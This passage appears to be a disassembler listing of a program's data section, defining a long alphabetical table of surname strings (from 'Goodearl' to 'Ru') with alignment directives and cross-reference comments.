aGoodearl db 'Goodearl',0
align 10h
aGoody db 'Goody',0
align 4
aGozzi db 'Gozzi',0
align 10h
aGravell db 'Gravell',0
aGreenberg db 'Greenberg',0
align 4
aGreenfeld db 'Greenfeld',0
align 10h
aGriffiths db 'Griffiths',0
align 4
aGrigoletto db 'Grigoletto',0
align 4
aGrummell db 'Grummell',0
align 4
aGruner db 'Gruner',0
align 4
aGruppe db 'Gruppe',0
align 4
aGuenthart db 'Guenthart',0
align 10h
aGunn db 'Gunn',0
align 4
aGuo db 'Guo',0
aHa db 'Ha',0
align 10h
aHaar db 'Haar',0
align 4
aHackman db 'Hackman',0
aHackshaw db 'Hackshaw',0
align 4
aHaley db 'Haley',0
align 4
aHalkias db 'Halkias',0
aHallowell db 'Hallowell',0
align 4
aHalpert db 'Halpert',0
aHambarzumjan db 'Hambarzumjan',0
align 10h
aHamer db 'Hamer',0
align 4
aHammerness db 'Hammerness',0
align 4
aHand db 'Hand',0
align 4
aHanssen db 'Hanssen',0
aHarding db 'Harding',0
aHargraves db 'Hargraves',0
align 4
aHarlow db 'Harlow',0
align 10h
aHarrigan db 'Harrigan',0
align 4
aHartman db 'Hartman',0
aHartmann db 'Hartmann',0
align 10h
aHartnett db 'Hartnett',0
align 4
aHarwell db 'Harwell',0
aHaviaras db 'Haviaras',0
align 10h
aHawkes db 'Hawkes',0
align 4
aHayes db 'Hayes',0
align 10h
aHaynes db 'Haynes',0
align 4
aHazlewood db 'Hazlewood',0
align 4
aHeermans db 'Heermans',0
align 10h
aHeft db 'Heft',0
align 4
aHeiland db 'Heiland',0
aHellman db 'Hellman',0
aHellmiss db 'Hellmiss',0
align 4
aHelprin db 'Helprin',0
aHemphill db 'Hemphill',0
align 4
aHenery db 'Henery',0
align 10h
aHenrichs db 'Henrichs',0
align 4
aHernandez db 'Hernandez',0
align 4
aHerrera db 'Herrera',0 ; DATA XREF: .data:0043E360o
aHester db 'Hester',0 ; DATA XREF: .data:0043E364o
align 4
aHeubert db 'Heubert',0
aHeyeck db 'Heyeck',0 ; DATA XREF: .data:0043E36Co
align 4
aHimmelfarb db 'Himmelfarb',0
align 4
aHind db 'Hind',0
align 4
aHirst db 'Hirst',0
align 4
aHitchcock db 'Hitchcock',0
align 10h
aHoang db 'Hoang',0
align 4
aHock db 'Hock',0
align 10h
aHoffer db 'Hoffer',0
align 4
aHoffman db 'Hoffman',0
aHokanson db 'Hokanson',0
align 4
aHokoda db 'Hokoda',0
align 4
aHolmes db 'Holmes',0
align 4
aHoloien db 'Holoien',0
aHolter db 'Holter',0
align 4
aHolway db 'Holway',0
align 4
aHolzman db 'Holzman',0
aHooker db 'Hooker',0
align 4
aHopkins db 'Hopkins',0
aHorsley db 'Horsley',0
aHoshida db 'Hoshida',0
aHostage db 'Hostage',0
aHottle db 'Hottle',0
align 4
aHoward db 'Howard',0
align 4
aHoy db 'Hoy',0
aHuey db 'Huey',0
align 10h
aHuidekoper db 'Huidekoper',0
align 4
aHungerford db 'Hungerford',0
align 4
aHuntington db 'Huntington',0
align 4
aHupp db 'Hupp',0
align 4
aHurtubise db 'Hurtubise',0
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .data:0043E3E4o
align 4
aHyde db 'Hyde',0 ; DATA XREF: .data:0043E3E8o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:0043E3ECo
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:0043E3F0o
align 4
aIgarashi db 'Igarashi',0 ; DATA XREF: .data:0043E3F4o
align 10h
aInamura db 'Inamura',0 ; DATA XREF: .data:0043E3F8o
aInniss db 'Inniss',0 ; DATA XREF: .data:0043E3FCo
align 10h
aIsaac db 'Isaac',0 ; DATA XREF: .data:0043E400o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .data:0043E404o
align 4
aIsbill db 'Isbill',0 ; DATA XREF: .data:0043E408o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: .data:0043E40Co
align 4
aIyer db 'Iyer',0 ; DATA XREF: .data:0043E410o
align 10h
aJacenko db 'Jacenko',0 ; DATA XREF: .data:0043E414o
aJackson db 'Jackson',0 ; DATA XREF: .data:0043E418o
aJagers db 'Jagers',0 ; DATA XREF: .data:0043E41Co
align 4
aJagger db 'Jagger',0 ; DATA XREF: .data:0043E420o
align 10h
aJagoe db 'Jagoe',0 ; DATA XREF: .data:0043E424o
align 4
aJain db 'Jain',0 ; DATA XREF: .data:0043E428o
align 10h
aJamil db 'Jamil',0 ; DATA XREF: .data:0043E42Co
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .data:0043E430o
align 4
aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:0043E434o
align 10h
aJarrell db 'Jarrell',0 ; DATA XREF: .data:0043E438o
aJay db 'Jay',0 ; DATA XREF: .data:0043E43Co
aJeffers db 'Jeffers',0 ; DATA XREF: .data:0043E440o
aJellis db 'Jellis',0 ; DATA XREF: .data:0043E444o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .data:0043E448o
aJespersen db 'Jespersen',0 ; DATA XREF: .data:0043E44Co
align 10h
aJewett db 'Jewett',0 ; DATA XREF: .data:0043E450o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .data:0043E454o
aJohannsen db 'Johannsen',0
align 10h
aJohns db 'Johns',0
align 4
aJolly db 'Jolly',0
align 10h
aJorgensen db 'Jorgensen',0
align 4
aJucks db 'Jucks',0
align 4
aJuliano db 'Juliano',0
aJulious db 'Julious',0
aKabbash db 'Kabbash',0
aKaboolian db 'Kaboolian',0
align 4
aKafadar db 'Kafadar',0
aKalbfleisch db 'Kalbfleisch',0
aKaligian db 'Kaligian',0
align 4
aKalil db 'Kalil',0
align 10h
aKalinowski db 'Kalinowski',0
align 4
aKalman db 'Kalman',0
align 4
aKamel db 'Kamel',0
align 4
aKangis db 'Kangis',0
align 4
aKarpouzes db 'Karpouzes',0
align 10h
aKassower db 'Kassower',0
align 4
aKasten db 'Kasten',0
align 4
aKawachi db 'Kawachi',0
aKee db 'Kee',0
aKeenan db 'Keenan',0
align 4
aKeepper db 'Keepper',0
aKeith db 'Keith',0 ; DATA XREF: .data:0043E4B8o
align 4
aKelker db 'Kelker',0 ; DATA XREF: .data:0043E4BCo
align 10h
aKelsey db 'Kelsey',0 ; DATA XREF: .data:0043E4C0o
align 4
aKempton db 'Kempton',0 ; DATA XREF: .data:0043E4C4o
aKemsley db 'Kemsley',0 ; DATA XREF: .data:0043E4C8o
aKendall db 'Kendall',0 ; DATA XREF: .data:0043E4CCo
aKerry db 'Kerry',0 ; DATA XREF: .data:0043E4D0o
align 4
aKeul db 'Keul',0 ; DATA XREF: .data:0043E4D4o
align 10h
aKhong db 'Khong',0 ; DATA XREF: .data:0043E4D8o
align 4
aKimmel db 'Kimmel',0 ; DATA XREF: .data:0043E4DCo
align 10h
aKimmett db 'Kimmett',0 ; DATA XREF: .data:0043E4E0o
aKimura db 'Kimura',0 ; DATA XREF: .data:0043E4E4o
align 10h
aKindall db 'Kindall',0 ; DATA XREF: .data:0043E4E8o
aKinsley db 'Kinsley',0 ; DATA XREF: .data:0043E4ECo
aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:0043E4F0o
align 10h
aKirscht db 'Kirscht',0 ; DATA XREF: .data:0043E4F4o
aKittridge db 'Kittridge',0 ; DATA XREF: .data:0043E4F8o
align 4
aKleckner db 'Kleckner',0 ; DATA XREF: .data:0043E4FCo
align 10h
aKleiman db 'Kleiman',0 ; DATA XREF: .data:0043E500o
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:0043E504o
aKlemperer db 'Klemperer',0 ; DATA XREF: .data:0043E508o
align 10h
aKling db 'Kling',0 ; DATA XREF: .data:0043E50Co
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:0043E510o
aKlint db 'Klint',0 ; DATA XREF: .data:0043E514o
align 4
aKnuff db 'Knuff',0 ; DATA XREF: .data:0043E518o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: .data:0043E51Co
aKoch db 'Koch',0 ; DATA XREF: .data:0043E520o
align 4
aKohn db 'Kohn',0 ; DATA XREF: .data:0043E524o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:0043E528o
align 4
aKommer db 'Kommer',0 ; DATA XREF: .data:0043E52Co
align 10h
aKoniaris db 'Koniaris',0 ; DATA XREF: .data:0043E530o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .data:0043E534o
align 4
aKool db 'Kool',0 ; DATA XREF: .data:0043E538o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: .data:0043E53Co
align 4
aKotter db 'Kotter',0 ; DATA XREF: .data:0043E540o
align 10h
aKovaks db 'Kovaks',0 ; DATA XREF: .data:0043E544o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: .data:0043E548o
aKrailo db 'Krailo',0 ; DATA XREF: .data:0043E54Co
align 4
aKrasney db 'Krasney',0 ; DATA XREF: .data:0043E550o
aKraus db 'Kraus',0 ; DATA XREF: .data:0043E554o
align 4
aKroemer db 'Kroemer',0 ; DATA XREF: .data:0043E558o
aKrysiak db 'Krysiak',0 ; DATA XREF: .data:0043E55Co
aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:0043E560o
aKumar db 'Kumar',0 ; DATA XREF: .data:0043E564o
align 4
aKusman db 'Kusman',0 ; DATA XREF: .data:0043E568o
align 10h
aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:0043E56Co
align 4
aLa db 'La',0 ; DATA XREF: .data:0043E570o
align 10h
aLabunka db 'Labunka',0 ; DATA XREF: .data:0043E574o
aLafler db 'Lafler',0 ; DATA XREF: .data:0043E578o
align 10h
aLaing db 'Laing',0 ; DATA XREF: .data:0043E57Co
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .data:0043E580o
align 4
aLandes db 'Landes',0 ; DATA XREF: .data:0043E584o
align 4
aLankes db 'Lankes',0 ; DATA XREF: .data:0043E588o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: .data:0043E58Co
align 10h
aLanzit db 'Lanzit',0 ; DATA XREF: .data:0043E590o
align 4
aLaserna db 'Laserna',0 ; DATA XREF: .data:0043E594o
aLashley db 'Lashley',0 ; DATA XREF: .data:0043E598o
aLawless db 'Lawless',0 ; DATA XREF: .data:0043E59Co
aLecar db 'Lecar',0 ; DATA XREF: .data:0043E5A0o
align 4
aLecce db 'Lecce',0 ; DATA XREF: .data:0043E5A4o
align 10h
aLeclercq db 'Leclercq',0 ; DATA XREF: .data:0043E5A8o
align 4
aLeite db 'Leite',0 ; DATA XREF: .data:0043E5ACo
align 4
aLenard db 'Lenard',0 ; DATA XREF: .data:0043E5B0o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:0043E5B4o
align 4
aLesser db 'Lesser',0 ; DATA XREF: .data:0043E5B8o
align 10h
aLessi db 'Lessi',0 ; DATA XREF: .data:0043E5BCo
align 4
aLiakos db 'Liakos',0 ; DATA XREF: .data:0043E5C0o
align 10h
aLidano db 'Lidano',0 ; DATA XREF: .data:0043E5C4o
align 4
aLiem db 'Liem',0 ; DATA XREF: .data:0043E5C8o
align 10h
aLight db 'Light',0 ; DATA XREF: .data:0043E5CCo
align 4
aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:0043E5D0o
align 4
aLim db 'Lim',0 ; DATA XREF: .data:0043E5D4o
aLinares db 'Linares',0 ; DATA XREF: .data:0043E5D8o
aLinda db 'Linda',0 ; DATA XREF: .data:0043E5DCo
align 4
aLinder db 'Linder',0 ; DATA XREF: .data:0043E5E0o
align 10h
aLine_0 db 'Line',0 ; DATA XREF: .data:0043E5E4o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: .data:0043E5E8o
aLinzee db 'Linzee',0 ; DATA XREF: .data:0043E5ECo
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .data:0043E5F0o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: .data:0043E5F4o
align 10h
aLittle db 'Little',0 ; DATA XREF: .data:0043E5F8o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: .data:0043E5FCo
align 10h
aLivernash db 'Livernash',0 ; DATA XREF: .data:0043E600o
align 4
aLivi db 'Livi',0 ; DATA XREF: .data:0043E604o
align 4
aLivolsi db 'Livolsi',0 ; DATA XREF: .data:0043E608o
aLizardo db 'Lizardo',0 ; DATA XREF: .data:0043E60Co
aLocatelli db 'Locatelli',0 ; DATA XREF: .data:0043E610o
align 10h
aLongworth db 'Longworth',0 ; DATA XREF: .data:0043E614o
align 4
aLoss db 'Loss',0 ; DATA XREF: .data:0043E618o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: .data:0043E61Co
aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:0043E620o
align 4
aLoza db 'Loza',0 ; DATA XREF: .data:0043E624o
align 10h
aLubin db 'Lubin',0 ; DATA XREF: .data:0043E628o
align 4
aLucas db 'Lucas',0 ; DATA XREF: .data:0043E62Co
align 10h
aLuciano db 'Luciano',0 ; DATA XREF: .data:0043E630o
aLuczkow db 'Luczkow',0 ; DATA XREF: .data:0043E634o
aLuecke db 'Luecke',0 ; DATA XREF: .data:0043E638o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: .data:0043E63Co
aLuoma db 'Luoma',0 ; DATA XREF: .data:0043E640o
align 4
aLussier db 'Lussier',0 ; DATA XREF: .data:0043E644o
aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:0043E648o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .data:0043E64Co
aMa db 'Ma',0 ; DATA XREF: .data:0043E650o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .data:0043E654o
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: .data:0043E658o
align 10h
aMaceachern db 'Maceachern',0 ; DATA XREF: .data:0043E65Co
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: .data:0043E660o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .data:0043E664o
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: .data:0043E668o
align 10h
aMacy db 'Macy',0 ; DATA XREF: .data:0043E66Co
align 4
aMadigan db 'Madigan',0 ; DATA XREF: .data:0043E670o
aMaggio db 'Maggio',0 ; DATA XREF: .data:0043E674o
align 4
aMahony db 'Mahony',0 ; DATA XREF: .data:0043E678o
align 10h
aMaier db 'Maier',0 ; DATA XREF: .data:0043E67Co
align 4
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:0043E680o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: .data:0043E684o
aMalatesta db 'Malatesta',0 ; DATA XREF: .data:0043E688o
align 4
aMaller db 'Maller',0
align 4
aMalova db 'Malova',0
align 4
aManalis db 'Manalis',0
aMandel db 'Mandel',0
align 4
aManganiello db 'Manganiello',0
aMantovan db 'Mantovan',0
align 4
aMarch_0 db 'March',0 ; DATA XREF: .data:0043E6A4o
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:0043E6A8o
align 4
aMarcus db 'Marcus',0
align 10h
aMargalit db 'Margalit',0
align 4
aMargetts db 'Margetts',0 ; DATA XREF: .data:0043E6B4o
align 4
aMarques db 'Marques',0 ; DATA XREF: .data:0043E6B8o
aMartinez db 'Martinez',0
align 4
aMartochio db 'Martochio',0
align 4
aMarton db 'Marton',0
align 10h
aMarubini db 'Marubini',0
align 4
aMass db 'Mass',0
align 4
aMatalka db 'Matalka',0
aMatarazzo db 'Matarazzo',0
align 4
aMatsukata db 'Matsukata',0
align 4
aMattson db 'Mattson',0
aMauzy db 'Mauzy',0
align 4
aMay_0 db 'May',0
aMazzali db 'Mazzali',0 ; DATA XREF: .data:0043E6E8o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:0043E6ECo
align 4
aMcbride db 'Mcbride',0
aMccaffery db 'Mccaffery',0
align 10h
aMccall db 'Mccall',0
align 4
aMcclearn db 'Mcclearn',0
align 4
aMcdowell db 'Mcdowell',0
align 10h
aMcelroy db 'Mcelroy',0
aMcfadden db 'McFadden',0
align 4
aMcghee db 'Mcghee',0
align 4
aMcgoldrick db 'Mcgoldrick',0
align 4
aMcilroy db 'McIlroy',0
aMcintosh db 'Mcintosh',0
align 4
aMckenna db 'Mckenna',0
aMclane db 'Mclane',0
align 4
aMclaren db 'Mclaren',0
aMcnealy db 'Mcnealy',0
aMcnulty db 'Mcnulty',0
aMeccariello db 'Meccariello',0
aMemisoglu db 'Memisoglu',0
align 4
aMenzies db 'Menzies',0
aMerikoski db 'Merikoski',0
align 10h
aMerlani db 'Merlani',0
aMerminod db 'Merminod',0
align 4
aMerseth db 'Merseth',0
aMerz db 'Merz',0
align 4
aMetelka db 'Metelka',0
aMetropolis db 'Metropolis',0
align 4
aMeurer db 'Meurer',0
align 10h
aMichelman db 'Michelman',0 ; DATA XREF: .data:0043E75Co
align 4
aMiddle db 'Middle',0 ; DATA XREF: .data:0043E760o
align 4
aMieher db 'Mieher',0 ; DATA XREF: .data:0043E764o
align 4
aMills db 'Mills',0 ; DATA XREF: .data:0043E768o
align 4
aMinh db 'Minh',0 ; DATA XREF: .data:0043E76Co
align 4
aMini db 'Mini',0 ; DATA XREF: .data:0043E770o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: .data:0043E774o
aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:0043E778o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:0043E77Co
aMittal db 'Mittal',0 ; DATA XREF: .data:0043E780o
align 10h
aMocroft db 'Mocroft',0 ; DATA XREF: .data:0043E784o
aModestino db 'Modestino',0 ; DATA XREF: .data:0043E788o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: .data:0043E78Co
aMohr db 'Mohr',0 ; DATA XREF: .data:0043E790o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:0043E794o
align 10h
aMonque db 'Monque',0 ; DATA XREF: .data:0043E798o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: .data:0043E79Co
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:0043E7A0o
align 10h
aMorani db 'Morani',0 ; DATA XREF: .data:0043E7A4o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: .data:0043E7A8o
aMorrison db 'Morrison',0 ; DATA XREF: .data:0043E7ACo
align 4
aMorrow db 'Morrow',0 ; DATA XREF: .data:0043E7B0o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: .data:0043E7B4o
align 10h
aMosher db 'Mosher',0 ; DATA XREF: .data:0043E7B8o
align 4
aMosler db 'Mosler',0 ; DATA XREF: .data:0043E7BCo
align 10h
aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:0043E7C0o
align 4
aMotooka db 'Motooka',0 ; DATA XREF: .data:0043E7C4o
aMudarri db 'Mudarri',0 ; DATA XREF: .data:0043E7C8o
aMuello db 'Muello',0 ; DATA XREF: .data:0043E7CCo
align 4
aMugnai db 'Mugnai',0 ; DATA XREF: .data:0043E7D0o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: .data:0043E7D4o
aMulroy db 'Mulroy',0 ; DATA XREF: .data:0043E7D8o
align 4
aMumford db 'Mumford',0 ; DATA XREF: .data:0043E7DCo
aMussachio db 'Mussachio',0 ; DATA XREF: .data:0043E7E0o
align 10h
aNaddeo db 'Naddeo',0 ; DATA XREF: .data:0043E7E4o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: .data:0043E7E8o
align 4
aNardi db 'Nardi',0 ; DATA XREF: .data:0043E7ECo
align 4
aNardone db 'Nardone',0 ; DATA XREF: .data:0043E7F0o
aNaviaux db 'Naviaux',0 ; DATA XREF: .data:0043E7F4o
aNayduch db 'Nayduch',0 ; DATA XREF: .data:0043E7F8o
aNelson db 'Nelson',0 ; DATA XREF: .data:0043E7FCo
align 4
aNenna db 'Nenna',0 ; DATA XREF: .data:0043E800o
align 4
aNesci db 'Nesci',0 ; DATA XREF: .data:0043E804o
align 4
aNeuman db 'Neuman',0 ; DATA XREF: .data:0043E808o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: .data:0043E80Co
aNewlin db 'Newlin',0 ; DATA XREF: .data:0043E810o
align 4
aNg db 'Ng',0 ; DATA XREF: .data:0043E814o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: .data:0043E818o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: .data:0043E81Co
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:0043E820o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: .data:0043E824o
align 10h
aNitabach db 'Nitabach',0 ; DATA XREF: .data:0043E828o
align 4
aNotman db 'Notman',0 ; DATA XREF: .data:0043E82Co
align 4
aNuzum db 'Nuzum',0 ; DATA XREF: .data:0043E830o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: .data:0043E834o
aOgata db 'Ogata',0 ; DATA XREF: .data:0043E838o
align 4
aOh db 'Oh',0 ; DATA XREF: .data:0043E83Co
align 10h
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:0043E840o
aOldford db 'Oldford',0 ; DATA XREF: .data:0043E844o
aOlsen db 'Olsen',0 ; DATA XREF: .data:0043E848o
align 4
aOlson db 'Olson',0 ; DATA XREF: .data:0043E84Co
align 10h
aOlszewski db 'Olszewski',0 ; DATA XREF: .data:0043E850o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:0043E854o
align 4
aOman db 'Oman',0 ; DATA XREF: .data:0043E858o
align 10h
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:0043E85Co
aOpel db 'Opel',0 ; DATA XREF: .data:0043E860o
align 10h
aOray db 'Oray',0 ; DATA XREF: .data:0043E864o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: .data:0043E868o
aOrsi db 'Orsi',0 ; DATA XREF: .data:0043E86Co
align 4
aOspina db 'Ospina',0 ; DATA XREF: .data:0043E870o
align 10h
aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:0043E874o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:0043E878o
align 4
aOtten db 'Otten',0 ; DATA XREF: .data:0043E87Co
align 10h
aOuchida db 'Ouchida',0 ; DATA XREF: .data:0043E880o
aOvid db 'Ovid',0 ; DATA XREF: .data:0043E884o
align 10h
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:0043E888o
align 10h
aPaine db 'Paine',0 ; DATA XREF: .data:0043E88Co
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .data:0043E890o
align 4
aPalepu db 'Palepu',0 ; DATA XREF: .data:0043E894o
align 4
aPallara db 'Pallara',0 ; DATA XREF: .data:0043E898o
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0043E89Co
align 10h
aPanadero db 'Panadero',0 ; DATA XREF: .data:0043E8A0o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: .data:0043E8A4o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .data:0043E8A8o
align 4
aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0043E8ACo
align 10h
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:0043E8B0o
aParris db 'Parris',0 ; DATA XREF: .data:0043E8B4o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: .data:0043E8B8o
align 10h
aPascucci db 'Pascucci',0 ; DATA XREF: .data:0043E8BCo
align 4
aPatefield db 'Patefield',0 ; DATA XREF: .data:0043E8C0o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: .data:0043E8C4o
aPattullo db 'Pattullo',0 ; DATA XREF: .data:0043E8C8o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .data:0043E8CCo
aPavlon db 'Pavlon',0 ; DATA XREF: .data:0043E8D0o
align 4
aPawloski db 'Pawloski',0 ; DATA XREF: .data:0043E8D4o
align 4
aPaynter db 'Paynter',0 ; DATA XREF: .data:0043E8D8o
aPeabody db 'Peabody',0 ; DATA XREF: .data:0043E8DCo
aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:0043E8E0o
align 4
aPederson db 'Pederson',0 ; DATA XREF: .data:0043E8E4o
align 10h
aPeishel db 'Peishel',0 ; DATA XREF: .data:0043E8E8o
aPenny db 'Penny',0 ; DATA XREF: .data:0043E8ECo
align 10h
aPereira db 'Pereira',0 ; DATA XREF: .data:0043E8F0o
aPerko db 'Perko',0 ; DATA XREF: .data:0043E8F4o
align 10h
aPerlak db 'Perlak',0 ; DATA XREF: .data:0043E8F8o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: .data:0043E8FCo
aPerna db 'Perna',0 ; DATA XREF: .data:0043E900o
align 4
aPerone db 'Perone',0 ; DATA XREF: .data:0043E904o
align 10h
aPerrimon db 'Perrimon',0 ; DATA XREF: .data:0043E908o
align 4
aPeters db 'Peters',0 ; DATA XREF: .data:0043E90Co
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: .data:0043E910o
align 10h
aPettibone db 'Pettibone',0 ; DATA XREF: .data:0043E914o
align 4
aPettit db 'Pettit',0 ; DATA XREF: .data:0043E918o
align 4
aPfister db 'Pfister',0 ; DATA XREF: .data:0043E91Co
aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:0043E920o
aPinot db 'Pinot',0 ; DATA XREF: .data:0043E924o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .data:0043E928o
aPlant db 'Plant',0 ; DATA XREF: .data:0043E92Co
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .data:0043E930o
aPlous db 'Plous',0 ; DATA XREF: .data:0043E934o
align 4
aPo db 'Po',0 ; DATA XREF: .data:0043E938o
align 10h
aPocobene db 'Pocobene',0 ; DATA XREF: .data:0043E93Co
align 4
aPoincaire db 'Poincaire',0 ; DATA XREF: .data:0043E940o
align 4
aPointer db 'Pointer',0 ; DATA XREF: .data:0043E944o
aPoirier db 'Poirier',0 ; DATA XREF: .data:0043E948o
aPolak db 'Polak',0 ; DATA XREF: .data:0043E94Co
align 10h
aPolanyi db 'Polanyi',0 ; DATA XREF: .data:0043E950o
aPolitis db 'Politis',0 ; DATA XREF: .data:0043E954o
aPoma db 'Poma',0 ; DATA XREF: .data:0043E958o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: .data:0043E95Co
aPowers db 'Powers',0 ; DATA XREF: .data:0043E960o
align 4
aPresper db 'Presper',0 ; DATA XREF: .data:0043E964o
aPreucel db 'Preucel',0 ; DATA XREF: .data:0043E968o
aPrevost db 'Prevost',0 ; DATA XREF: .data:0043E96Co
aPritchard db 'Pritchard',0 ; DATA XREF: .data:0043E970o
align 4
aPritz db 'Pritz',0 ; DATA XREF: .data:0043E974o
align 4
aProietti db 'Proietti',0 ; DATA XREF: .data:0043E978o
align 10h
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0043E97Co
align 10h
aPuccia db 'Puccia',0 ; DATA XREF: .data:0043E980o
align 4
aPugh db 'Pugh',0 ; DATA XREF: .data:0043E984o
align 10h
aPynchon db 'Pynchon',0 ; DATA XREF: .data:0043E988o
aQuaday db 'Quaday',0 ; DATA XREF: .data:0043E98Co
align 10h
aQuetin db 'Quetin',0 ; DATA XREF: .data:0043E990o
align 4
aRabe db 'Rabe',0 ; DATA XREF: .data:0043E994o
align 10h
aRabkin db 'Rabkin',0 ; DATA XREF: .data:0043E998o
align 4
aRadeke db 'Radeke',0 ; DATA XREF: .data:0043E99Co
align 10h
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:0043E9A0o
aRaney db 'Raney',0 ; DATA XREF: .data:0043E9A4o
align 4
aRangan db 'Rangan',0 ; DATA XREF: .data:0043E9A8o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .data:0043E9ACo
align 4
aRapple db 'Rapple',0 ; DATA XREF: .data:0043E9B0o
align 4
aRayport db 'Rayport',0 ; DATA XREF: .data:0043E9B4o
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:0043E9B8o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: .data:0043E9BCo
align 10h
aCunningham db 'Cunningham',0 ; DATA XREF: .data:0043E9C0o
align 4
aReinold db 'Reinold',0 ; DATA XREF: .data:0043E9C4o
aRemak db 'Remak',0 ; DATA XREF: .data:0043E9C8o
align 4
aRenick db 'Renick',0 ; DATA XREF: .data:0043E9CCo
align 4
aRepetto db 'Repetto',0 ; DATA XREF: .data:0043E9D0o
aResnik db 'Resnik',0 ; DATA XREF: .data:0043E9D4o
align 4
aRhea db 'Rhea',0 ; DATA XREF: .data:0043E9D8o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: .data:0043E9DCo
align 4
aRielly db 'Rielly',0 ; DATA XREF: .data:0043E9E0o
align 10h
aRindos db 'Rindos',0 ; DATA XREF: .data:0043E9E4o
align 4
aRineer db 'Rineer',0 ; DATA XREF: .data:0043E9E8o
align 10h
aRish db 'Rish',0 ; DATA XREF: .data:0043E9ECo
align 4
aRivera db 'Rivera',0 ; DATA XREF: .data:0043E9F0o
align 10h
aRobinson db 'Robinson',0 ; DATA XREF: .data:0043E9F4o
align 4
aRocha db 'Rocha',0 ; DATA XREF: .data:0043E9F8o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: .data:0043E9FCo
aRogers db 'Rogers',0 ; DATA XREF: .data:0043EA00o
align 4
aRonen db 'Ronen',0 ; DATA XREF: .data:0043EA04o
align 4
aRow db 'Row',0 ; DATA XREF: .data:0043EA08o
aRoyal db 'Royal',0 ; DATA XREF: .data:0043EA0Co
align 4
aRu db 'Ru',0 ; DATA XREF: .data:0043EA10o
align 4
